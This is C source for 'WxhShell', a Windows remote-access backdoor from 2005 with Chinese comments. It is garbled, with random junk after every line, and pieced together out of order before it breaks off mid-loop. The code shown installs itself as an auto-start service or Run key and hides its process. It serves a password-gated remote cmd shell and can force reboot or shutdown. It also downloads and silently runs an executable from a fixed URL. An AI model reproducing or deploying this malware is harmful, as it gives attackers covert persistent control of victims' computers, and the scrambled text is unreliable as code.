  case 'd': { Te<}*qvD  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); L>SjllY  
    if(Boot(SHUTDOWN)) +ayos[<0#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); urMG*7i <c  
    else { w[I E  
    closesocket(wsh); RIY,K*f.  
    ExitThread(0); enSXP~9w  
    } Z(ACc9k6:'  
    break; `O[};3O&  
    } Cif>7]M  
  // 获取shell LYaZ1*  
  case 's': { /oR<A  
    CmdShell(wsh); %0,#ADCqOe  
    closesocket(wsh); R}4So1  
    ExitThread(0); K%F,='P}  
    break; S/ODq L|  
  } w6{TE(]zp  
  // 退出 5`gQ~   
  case 'x': { 1>E<8&2[L  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3 %|86:*  
    CloseIt(wsh); z2QP)150  
    break; -1U D0(  
    } hR Ue<0o:  
  // 离开 E~gyy]8&  
  case 'q': { Ire\i7MF:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,kF}lo)  
    closesocket(wsh); qCqFy#Ms\  
    WSACleanup(); ]A<~XIu  
    exit(1); gm[z[~X@  
    break; X  .5aMm  
        } zN"J}r:  
  } 3T!lA  
  } ZsOIH<}S  
@)4]b+8Z  
  // 提示信息  s8rE$  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $}jssnoU  
} YtfVD7m  
  } <F=xtyl7  
Gch[Otq]%  
  return; lo,$-bJ,<,  
} h_T7% #0  
NwG= <U*  
// shell模块句柄 e[ /dv)J  
int CmdShell(SOCKET sock) Dqe^E%mc  
{ :"I E  
STARTUPINFO si; \8 h;K>=h  
ZeroMemory(&si,sizeof(si)); e^[H[d.WMC  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }t%!9hr5D  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /S(zff[at  
PROCESS_INFORMATION ProcessInfo; vbD{N3p)?n  
char cmdline[]="cmd"; YGPy@-,E  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5wh|=**/  
  return 0; (C@~3!AVa  
} ,]cD  
8_6Q~  
// 自身启动模式 ~tR~?b T  
int StartFromService(void) pD01,5/  
{ _Gjk;|Sx<I  
typedef struct 66I"=:  
{ ?}a;}Q 6  
  DWORD ExitStatus; 45MLt5^|  
  DWORD PebBaseAddress; v!ujj5-$I  
  DWORD AffinityMask; d~`x )B(  
  DWORD BasePriority; ZO)S`W  
  ULONG UniqueProcessId; E8n)}[k!0  
  ULONG InheritedFromUniqueProcessId; 9J>&29@us0  
}   PROCESS_BASIC_INFORMATION; nCj2N,mT  
- qy6Un+  
PROCNTQSIP NtQueryInformationProcess; c(n&A~*AJ%  
6^"=dn6K  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 'toa@5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; nx^]>w  
B{C??g8/  
  HANDLE             hProcess; n>^Y$yy}!  
  PROCESS_BASIC_INFORMATION pbi; PV4(hj  
3+G@g#MY  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8$ma;U d  
  if(NULL == hInst ) return 0; h0g:@ae%&  
lobGj8uxq  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7~GB;1n  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); X '`~s}vGO  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \7l-@6 '7  
Tp-l^?O-p  
  if (!NtQueryInformationProcess) return 0; mqAWL:VvQ7  
:xh?e N&  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); d_)o  
  if(!hProcess) return 0; ,>eMG=C;g  
elG<k%/2  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Y))u&*RuT0  
`9uB~LY^i  
  CloseHandle(hProcess); k25WucQ  
1I<rXY(a`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {6c2{@  
if(hProcess==NULL) return 0; r!HwXeEn/  
JoN\]JL\,  
HMODULE hMod; u a~CEs  
char procName[255]; 5KDGSo  
unsigned long cbNeeded; ""1^k2fj  
CFqJ/ ''  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "E8zh|m o  
J]G?Rc  
  CloseHandle(hProcess); 1!1 beR]  
&b?LP]   
if(strstr(procName,"services")) return 1; // 以服务启动 `(f!*Ru@/z  
sM?MLB\Za  
  return 0; // 注册表启动 %T)oCjM[\  
} kWe{r5C7  
C_n9T{k  
// 主模块 2;^y4ssg  
int StartWxhshell(LPSTR lpCmdLine) rSHpS`\ou  
{ (A?H1 9  
  SOCKET wsl; |kvC H<F'  
BOOL val=TRUE; 1e>s{  
  int port=0; =7C%P%yt  
  struct sockaddr_in door; 8}FzZ?DRy  
LwK+:4$  
  if(wscfg.ws_autoins) Install(); (q4),y<:[  
t@R ?Rgu3  
port=atoi(lpCmdLine); -GqT7`:(H4  
-Y*bSP)\  
if(port<=0) port=wscfg.ws_port; EvWzq%z l  
9uer(}WKT  
  WSADATA data; cu%C"  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "=+ 7-`  
gx&Tt  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #%D_Y33;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); t: IN,Kl4  
  door.sin_family = AF_INET; FRS>KO=3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 05spovO/'  
  door.sin_port = htons(port); ;[W"mlM  
<IC~ GqXv  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { EC\yz H*X  
closesocket(wsl); wQiX<)O  
return 1; #SX8=f`K5  
} }yJ$SR]t  
-,+q#F  
  if(listen(wsl,2) == INVALID_SOCKET) { CWNx4)ZGw  
closesocket(wsl); 8S<@"v  
return 1; B?)@u|0  
} raCi 8  
  Wxhshell(wsl); uFLx  
  WSACleanup(); d ,Y#H0`  
&CIVL#];e  
return 0; un=2}@ '  
Oer^Rk  
} n#:N;T;\a  
K\$J4~EtG  
// 以NT服务方式启动 .{=$!8|&I9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [<{Kw=X__2  
{ x)JOClLr  
DWORD   status = 0; cP}KU5j  
  DWORD   specificError = 0xfffffff; PIWux {  
Vm df8[5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; n':!,a[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .p=sBLp8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *0}3t <5  
  serviceStatus.dwWin32ExitCode     = 0; ^kgBa27  
  serviceStatus.dwServiceSpecificExitCode = 0; .-IkL |M  
  serviceStatus.dwCheckPoint       = 0; 8?i7U<CB  
  serviceStatus.dwWaitHint       = 0; (&P9+Tl  
0q*r  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1 I*7SkgKv  
  if (hServiceStatusHandle==0) return; z9p05NFH  
3 HIz9F(  
status = GetLastError(); Rt{B(L.?<  
  if (status!=NO_ERROR) oh KCdT~  
{ &E4 0* (C  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; jC3Vbm&ZZ  
    serviceStatus.dwCheckPoint       = 0; P{5-Mx!{&  
    serviceStatus.dwWaitHint       = 0; 6}(J6T46M[  
    serviceStatus.dwWin32ExitCode     = status; p<&Xd}]"^W  
    serviceStatus.dwServiceSpecificExitCode = specificError; @0eHS +  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); <N`J`J-[  
    return; #_|sgS?1  
  } zOSs[[  
rC7``#5  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 2<][%> '  
  serviceStatus.dwCheckPoint       = 0; 9Li%KOY  
  serviceStatus.dwWaitHint       = 0; ` iJhG^w9M  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); h@@nR(<i  
} I`w4Xrd  
U|5nNiJM  
// 处理NT服务事件,比如:启动、停止 Z1h]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !bD@aVf?5  
{ >rP#ukr5  
switch(fdwControl)  X!j{o  
{ g >'p>}t  
case SERVICE_CONTROL_STOP: v|ck>_" .  
  serviceStatus.dwWin32ExitCode = 0; _kdL'x  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !{82D[5  
  serviceStatus.dwCheckPoint   = 0; +dP L>R  
  serviceStatus.dwWaitHint     = 0; >^OC{~Az  
  { R@*O!bD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d7&eLLx  
  } Qf| U0  
  return; nZ_v/?O  
case SERVICE_CONTROL_PAUSE: ,j?.4{rHJ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; SR8qt z/V  
  break; #k$)i[aI-  
case SERVICE_CONTROL_CONTINUE: X/; p-KX  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; c=;:R0_'t  
  break; N,J9Wu ZJ\  
case SERVICE_CONTROL_INTERROGATE: * FeQ*`r  
  break; t'~/$=9}  
}; Lqp8yVO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S#b-awk  
} QnI.zq V  
/{{UP-  
// 标准应用程序主函数 `Bw9O%]-S  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) enTW0U}  
{ 'i8 U  
T?p`)  
// 获取操作系统版本 yE\wj  
OsIsNt=GetOsVer(); j6,ZEm  
GetModuleFileName(NULL,ExeFile,MAX_PATH); IF +i3#$  
6ATtW+sN]  
  // 从命令行安装 @<@SMK)  
  if(strpbrk(lpCmdLine,"iI")) Install(); #-Z8Z i"44  
kJAn4I.l  
  // 下载执行文件 ;@nFVy>U  
if(wscfg.ws_downexe) { $LHa?3  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;oNhEB:F  
  WinExec(wscfg.ws_filenam,SW_HIDE); M0' a9.d  
} G\;}w  
QI!F6pGF  
if(!OsIsNt) { r{sebE\ ;  
// 如果时win9x,隐藏进程并且设置为注册表启动 @[6,6:h|  
HideProc(); $2MAZGJV  
StartWxhshell(lpCmdLine); a Zk&`Jpz  
} y#<MV H  
else H2r8,|XL  
  if(StartFromService()) @-)tM.8~  
  // 以服务方式启动 DOQc"+  
  StartServiceCtrlDispatcher(DispatchTable); !>(RK"KWq]  
else OI0B:()  
  // 普通方式启动 @+Y8*Rj\3  
  StartWxhshell(lpCmdLine); =9G;PVk|  
oW$s xS  
return 0; }Z`(aDH  
} T}D<Sc  
t0#[#I1+  
8seBT ;S  
WV"jH9"[  
=========================================== 6] z}#"  
)B!d,HKt;  
A K/z6XGy  
70B)|<$  
XTeb9h)3  
CodSJ,  
" ;50_0Mv;(:  
.5Q:Xp  
#include <stdio.h> *zWWmxcJa  
#include <string.h> 4.K'\S  
#include <windows.h> U,lJ"$'  
#include <winsock2.h> >J=<bhR  
#include <winsvc.h> 1# t6`N]?V  
#include <urlmon.h> L fl-!1  
n^hocGH*  
#pragma comment (lib, "Ws2_32.lib") quo^fqS&a  
#pragma comment (lib, "urlmon.lib") 6`$[Ini  
=/+#PVO  
#define MAX_USER   100 // 最大客户端连接数 X['2b78k  
#define BUF_SOCK   200 // sock buffer nN3$\gHp8i  
#define KEY_BUFF   255 // 输入 buffer [ut#:1h^  
Ze!92g  
#define REBOOT     0   // 重启 ~~8rI[/  
#define SHUTDOWN   1   // 关机 ,}C8;/V  
}4nT.!5  
#define DEF_PORT   5000 // 监听端口 A%vsno!  
AaN"7.Z/  
#define REG_LEN     16   // 注册表键长度 Ae?e 70bY  
#define SVC_LEN     80   // NT服务名长度 PK&2h,Cu+  
P|^$kK  
// 从dll定义API fj 4^VXD  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); n~Szf  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ACjf\4Q  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); z8Q"% @  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]v5-~E!  
Y'Z+, CNf  
// wxhshell配置信息 HXJ9xkrr  
struct WSCFG { -U>7 H`5  
  int ws_port;         // 监听端口 l[/q%Ca'>  
  char ws_passstr[REG_LEN]; // 口令 fw{,bJ(U  
  int ws_autoins;       // 安装标记, 1=yes 0=no .h;Se  
  char ws_regname[REG_LEN]; // 注册表键名 >&H~nGP.  
  char ws_svcname[REG_LEN]; // 服务名 !U BVPR*  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5]7&IDA]]9  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 '5};M)w  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3D)b*fPc  
int ws_downexe;       // 下载执行标记, 1=yes 0=no .dI)R40L/\  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" g-yi xU  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (Q-I8Y8l8  
qi+&|80T.  
}; Cj&$%sO1  
vv 7+ >%  
// default Wxhshell configuration m1.B\~S3  
struct WSCFG wscfg={DEF_PORT, jxy1  
    "xuhuanlingzhe", 2W3W/> 2 h  
    1, dALK0U  
    "Wxhshell", 4VIg>EL*  
    "Wxhshell", b Dg9P^<n  
            "WxhShell Service", G^Xd-7 GQ  
    "Wrsky Windows CmdShell Service", el'j&I  
    "Please Input Your Password: ", 98*x 'Wp  
  1, H_X?dj15  
  "http://www.wrsky.com/wxhshell.exe", #@Ujx_F  
  "Wxhshell.exe" B#tdLv"I  
    }; St>`p-  
Isovwd  
// 消息定义模块 8mgQu]>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; n=`w9qajd  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6~W u`  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *`KrVu 6s  
char *msg_ws_ext="\n\rExit."; bV3lE6z  
char *msg_ws_end="\n\rQuit."; Y jup  
char *msg_ws_boot="\n\rReboot..."; JfTfAq]  
char *msg_ws_poff="\n\rShutdown..."; FD6v /Y  
char *msg_ws_down="\n\rSave to ";  q{X T  
n9 fk,3  
char *msg_ws_err="\n\rErr!"; "g `nsk  
char *msg_ws_ok="\n\rOK!"; (G8  
_=6OP8  
char ExeFile[MAX_PATH]; 3C"_$?y"  
int nUser = 0; vF>gU_gz.  
HANDLE handles[MAX_USER]; Yg6I&#f7&  
int OsIsNt; +p?hGoF=  
'XTs -=  
SERVICE_STATUS       serviceStatus; h#{T}[  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; f[qPG&  
ypA:  P  
// 函数声明 EDN(eh(_  
int Install(void); IT1P Pm  
int Uninstall(void); nC~fvyd<P  
int DownloadFile(char *sURL, SOCKET wsh); :l~EE!  
int Boot(int flag); ~|R[O^9B  
void HideProc(void); 5.k}{{+  
int GetOsVer(void); >38 Lt\  
int Wxhshell(SOCKET wsl);  C6)R#  
void TalkWithClient(void *cs); z{6 YC~  
int CmdShell(SOCKET sock); 2cjEex:&  
int StartFromService(void); Bn-J_-%M  
int StartWxhshell(LPSTR lpCmdLine); +a]j[#  
uMDtdC8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *mV&K\_  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); SOH%Q_  
d~<QAh#rG  
// 数据结构和表定义 wsfysat$  
SERVICE_TABLE_ENTRY DispatchTable[] = /Ri,>}n  
{ 8ath45G@  
{wscfg.ws_svcname, NTServiceMain}, 6F`\YSn+  
{NULL, NULL} %FlA ":W  
}; 4zzlazU  
E0`[G]*G  
// 自我安装 WW3  B  
int Install(void) cqk]NL`'  
{ ja75c~RUw  
  char svExeFile[MAX_PATH]; 8&T,LNZoY  
  HKEY key; 6To:T[ z#  
  strcpy(svExeFile,ExeFile); -gSj>b7T  
q5?L1  
// 如果是win9x系统,修改注册表设为自启动 966<I56+  
if(!OsIsNt) { JmjxGcG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +\U]p_Fo3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h^d\xn9GT#  
  RegCloseKey(key); ;>C9@S+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S*rO0s:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `r]TA]D R  
  RegCloseKey(key); )]A9~H  
  return 0; y.fs,!|%@  
    } A^cU$V%?W  
  } Oc^m_U8>^  
} #gI&lO*\gr  
else { 7(@(Hm  
F(E<,l2[  
// 如果是NT以上系统,安装为系统服务 b=_{/F*b?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?C~X@sq  
if (schSCManager!=0) #|ddyCg2  
{ cdN/Qy  
  SC_HANDLE schService = CreateService *pK lA&_  
  ( zS?n>ElI  
  schSCManager, #~1wv^  
  wscfg.ws_svcname, .d e  
  wscfg.ws_svcdisp, Ym:{Mm=ud  
  SERVICE_ALL_ACCESS, S"{GlRpd  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , N GSS:  
  SERVICE_AUTO_START, Pn J*Zea  
  SERVICE_ERROR_NORMAL, [%t3[p<)O  
  svExeFile, enPLaiJ'|q  
  NULL, u&tFb]1@)  
  NULL, +:!ScG*  
  NULL, wH#-mu#Yl<  
  NULL, Tr$i= M  
  NULL g#Mv&tU  
  ); jPpRsw>  
  if (schService!=0) iz$FcA]  
  { + lP5XY{  
  CloseServiceHandle(schService);  *0-v!\{  
  CloseServiceHandle(schSCManager); 8Yxhd .  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &!6DC5  
  strcat(svExeFile,wscfg.ws_svcname); HrDTn&/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { . Jb?]n  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2pjW,I!`  
  RegCloseKey(key); O!yakU+  
  return 0; r/^tzH's  
    } &:q[-K@!  
  } \.kTe<.:_  
  CloseServiceHandle(schSCManager); 9='=-;@/5  
} p; F2z;#  
} w'|&5cS  
+!Q!m 3/I  
return 1; Yg$@Wb6  
} '1]+8E `Z  
l3BD <PB2S  
// 自我卸载 2DUr7r M  
int Uninstall(void) [h^f%  
{ \ U Ax(;  
  HKEY key; 6{ C Fe|XN  
l`G(O$ct  
if(!OsIsNt) { =p5?+3" @  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { erXy>H[;  
  RegDeleteValue(key,wscfg.ws_regname); Esb ?U|F4  
  RegCloseKey(key); )F +nSV;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fWd~-U0M^  
  RegDeleteValue(key,wscfg.ws_regname); L)1C'8 ).  
  RegCloseKey(key); D>ojW|@}  
  return 0; <8g=BWA  
  } EZ..^M3  
} iwB8I^  
} 0Y[*lM-  
else { ~Vwk:+):  
m; 1'u;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <Kh?Ad>N  
if (schSCManager!=0) ?_8%h`z  
{ T.J`S(oI  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); pn|p(6  
  if (schService!=0) DL %S(l  
  {  xQX<w\s  
  if(DeleteService(schService)!=0) { +O&RBEa[  
  CloseServiceHandle(schService); l_bL,-|E8  
  CloseServiceHandle(schSCManager); i^/ eN  
  return 0; L7s>su|c(  
  } r >E\Cco  
  CloseServiceHandle(schService); hx*HY%\P  
  } `i=JjgG@  
  CloseServiceHandle(schSCManager); ^GE^Q\&D&  
} =d}gv6v2S  
} *Yj~]E0`1  
+:fqL  
return 1; ESn6D@"  
} p(~Y" H  
D~5yj&&T;  
// 从指定url下载文件 4[2=L9MIo~  
int DownloadFile(char *sURL, SOCKET wsh) mXQl;  
{ w'!ECm>*`  
  HRESULT hr; G(:s-x ig6  
char seps[]= "/"; -l\~p4U  
char *token; a#YuKh?  
char *file; 6#-6Bh)>4  
char myURL[MAX_PATH]; oSN8Xn*qr  
char myFILE[MAX_PATH]; 8mk}nex  
T"n>h  
strcpy(myURL,sURL); TNyK@~#m  
  token=strtok(myURL,seps); UaH26fWs  
  while(token!=NULL) lTx Y6vi  
  { @c6"RHG9  
    file=token; \s.1R/TyD  
  token=strtok(NULL,seps); rny@n^F  
  } c:3@[nF~  
O|HIO&M  
GetCurrentDirectory(MAX_PATH,myFILE); <sgZ3*,A  
strcat(myFILE, "\\"); \_lG#p|  
strcat(myFILE, file); UN-T ^  
  send(wsh,myFILE,strlen(myFILE),0); BjH~Ml2  
send(wsh,"...",3,0); E}]I%fi  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); F5<"ktnI  
  if(hr==S_OK) G /NT e  
return 0; ;[FW!  
else  KYnW7|*  
return 1; Sg/:n,68  
!S~,> ,yd  
} O3_D~O ."  
_L?v6MTj  
// 系统电源模块 b^uP^](J  
int Boot(int flag) ;[;)P tFz\  
{ LN@lrC7X  
  HANDLE hToken; C$$"{FfgU"  
  TOKEN_PRIVILEGES tkp; l5{(z;xM  
fn1 ?Qp|  
  if(OsIsNt) { H;b8I  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); zj~8>QnKk  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Zx}N Fcn  
    tkp.PrivilegeCount = 1; Gojl0?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; x?%rx}h  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); rF Ko E%  
if(flag==REBOOT) { B@ZqJw9J[  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @o}1n?w  
  return 0; -s9Y(>  
} 1 ;cv-W  
else { r{pI-$  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) UiJ^~rn  
  return 0; *Gg1h@&  
} di-O*ug  
  } Aivu%}_|  
  else { _ff=B  
if(flag==REBOOT) { DCEvr"(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]NaMZ  
  return 0; e#l*/G*,  
} g0^~J2sDd  
else { >Sc$R0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) mA&RN"+V  
  return 0; F3k C"H  
} tU+@1~ ~  
} T^/Gj|N*  
z1Bj_u{  
return 1; JIyBhFI  
} :NwMb^>  
)z]q"s5 Y  
// win9x进程隐藏模块 :N^@a-  
void HideProc(void) NWo7wVwc/c  
{ n.2E8m/  
Ov $N"  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); uS! 35{.>  
  if ( hKernel != NULL ) 1$='`@8I  
  { t 3(%UB  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); o~i]W.SI(  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8gVxiFjo  
    FreeLibrary(hKernel); 5?V?  
  } t x:rj6 -z  
jw:4fb  
return; h]J&A  
} #,f}lV,&  
* kX3sG$8  
// 获取操作系统版本 w?V[[$  
int GetOsVer(void) p/\$P=  
{ JLy)}8I  
  OSVERSIONINFO winfo; w5dI k]T  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); d8Q_6(Ar|  
  GetVersionEx(&winfo); c8k6(#\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &+E'1h10  
  return 1; K#9(|2 J%  
  else xG*lV|<7>  
  return 0; Hj5WJ{p.  
} 4 |:Q1  
Vu|Br  
// 客户端句柄模块 -V;0_Nx7p  
int Wxhshell(SOCKET wsl) >wg9YZ~8  
{ }@ O|RkY  
  SOCKET wsh; O84v*=uA  
  struct sockaddr_in client; GL;x:2XA  
  DWORD myID; &;6|nl9;  
|d/x~t=  
  while(nUser<MAX_USER) >gX0Ij#G  
{ nZ`2Z7!  
  int nSize=sizeof(client); }}sRTW  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Y{Y;EY4  
  if(wsh==INVALID_SOCKET) return 1; ps!5HZ2:  
Vq\..!y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); U}RS*7`  
if(handles[nUser]==0) Q.pEUDq/  
  closesocket(wsh); b*'=W"%\  
else !LHzY(  
  nUser++; zCBtD_@  
  } V7B=+(xK  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); fG8}=xH_&  
#.\,y>`  
  return 0; [p( #WM:  
} AhbT/  
4! Oa4  
// 关闭 socket 1c<CEq:?e%  
void CloseIt(SOCKET wsh) 66^1&D"  
{ in=k:j,U0  
closesocket(wsh); Ac5o K  
nUser--; O?j98H Sya  
ExitThread(0); CfkNy[}=  
} eB<V%,%N#  
!OuTXa,I H  
// 客户端请求句柄 ! kOl$!X4  
void TalkWithClient(void *cs) ( l3UNP  
{ n3l"L|W^(<  
s{"`=dKT  
  SOCKET wsh=(SOCKET)cs; >?G|Yz*kEJ  
  char pwd[SVC_LEN]; F653[[eQ  
  char cmd[KEY_BUFF]; N#pl mPrZ  
char chr[1]; we:5gK &  
int i,j; ? !oVf>  
/+<%,c$n  
  while (nUser < MAX_USER) { 8}"f|6Wm  
X5L(_0?F1  
if(wscfg.ws_passstr) { |7S4;  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7kX7\[zN  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yNLa3mW  
  //ZeroMemory(pwd,KEY_BUFF); X>6 ~{3  
      i=0; U<g UX07  
  while(i<SVC_LEN) {  z~}StCH(  
7+D'W7Yx  
  // 设置超时 9h3~;Q  
  fd_set FdRead; Cdt,//xrz  
  struct timeval TimeOut; GqIvvnw@f  
  FD_ZERO(&FdRead); aV?}+Y{#  
  FD_SET(wsh,&FdRead); skR, M=F~  
  TimeOut.tv_sec=8; 9aF..  
  TimeOut.tv_usec=0; g6@NPQ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~/|unV  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 80s~ae;  
/SPAJHh  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); So)KI_M  
  pwd=chr[0]; (v'lb!j^#  
  if(chr[0]==0xd || chr[0]==0xa) { _Y ><ih  
  pwd=0; 0'\FrG  
  break; k@t,[  
  } PO%yWns30o  
  i++; g<hv7?"[  
    } t'=~"?T/o  
'.h/Y/oz  
  // 如果是非法用户,关闭 socket ir@N>_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); f1]AfH#  
} {M)3GsP?  
+}(B856+  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3'sWlhf;  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ghq'k:K,  
2=Y_Qrhi  
while(1) { \6`%NhkM_  
?2<6#>(7a  
  ZeroMemory(cmd,KEY_BUFF); Ltic_cjYd?  
Ghgv RR$  
      // 自动支持客户端 telnet标准   St7D.|  
  j=0; 1)/T.q<D"  
  while(j<KEY_BUFF) { ktw!T{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G7_"^r%c9;  
  cmd[j]=chr[0]; wWOT*R_  
  if(chr[0]==0xa || chr[0]==0xd) { 2ucF( ^  
  cmd[j]=0; j3rv2W\  
  break; -EkDG]my  
  } #nc@!+  
  j++; }*}`)rj,  
    } L>5!3b=b  
m|ERf2-  
  // 下载文件 soqNzdTB2  
  if(strstr(cmd,"http://")) { Y8`))MeD  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ZTBFV/{  
  if(DownloadFile(cmd,wsh)) -4^@)~Y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); WW\)B-}T  
  else dnX`F5zd  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qT<qu(V:  
